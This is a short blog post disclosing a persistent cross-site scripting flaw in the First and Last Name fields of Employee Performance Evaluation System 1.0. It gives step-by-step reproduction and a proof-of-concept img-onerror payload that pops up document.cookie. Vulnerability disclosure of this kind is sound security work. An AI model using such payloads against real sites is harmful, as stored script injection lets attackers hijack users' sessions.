Ritesh Gohil   Follow

Dec 5, 2020 · 1 min read · ▶ Listen

Save

Employee Performance Evaluation System 1.0 — 'First and Last Name' Persistent Cross Site Scripting

Exploit Title: Employee Performance Evaluation System 1.0 — ' First and Last Name' Persistent Cross Site Scripting
Date: 05/12/2020
Exploit Author: Ritesh Gohil
Vendor Homepage: https://www.sourcecodester.com
Software Link: https://www.sourcecodester.com/php/14617/employee-performance-evaluation-system-phpmysqli-source-code.html # Version: 1.0 # Tested on: Windows 10/Kali Linux

Steps to Reproduce:
1) Login with Admin Credentials and click on 'Employees' page.
2) Click on Add New Button.
3) Now add the following payload input field of First Name and Last Name.

Payload: ritesh">‹img src=x onerror=alert(document.cookie)>

4) Click On Save
5) XSS payload is triggered.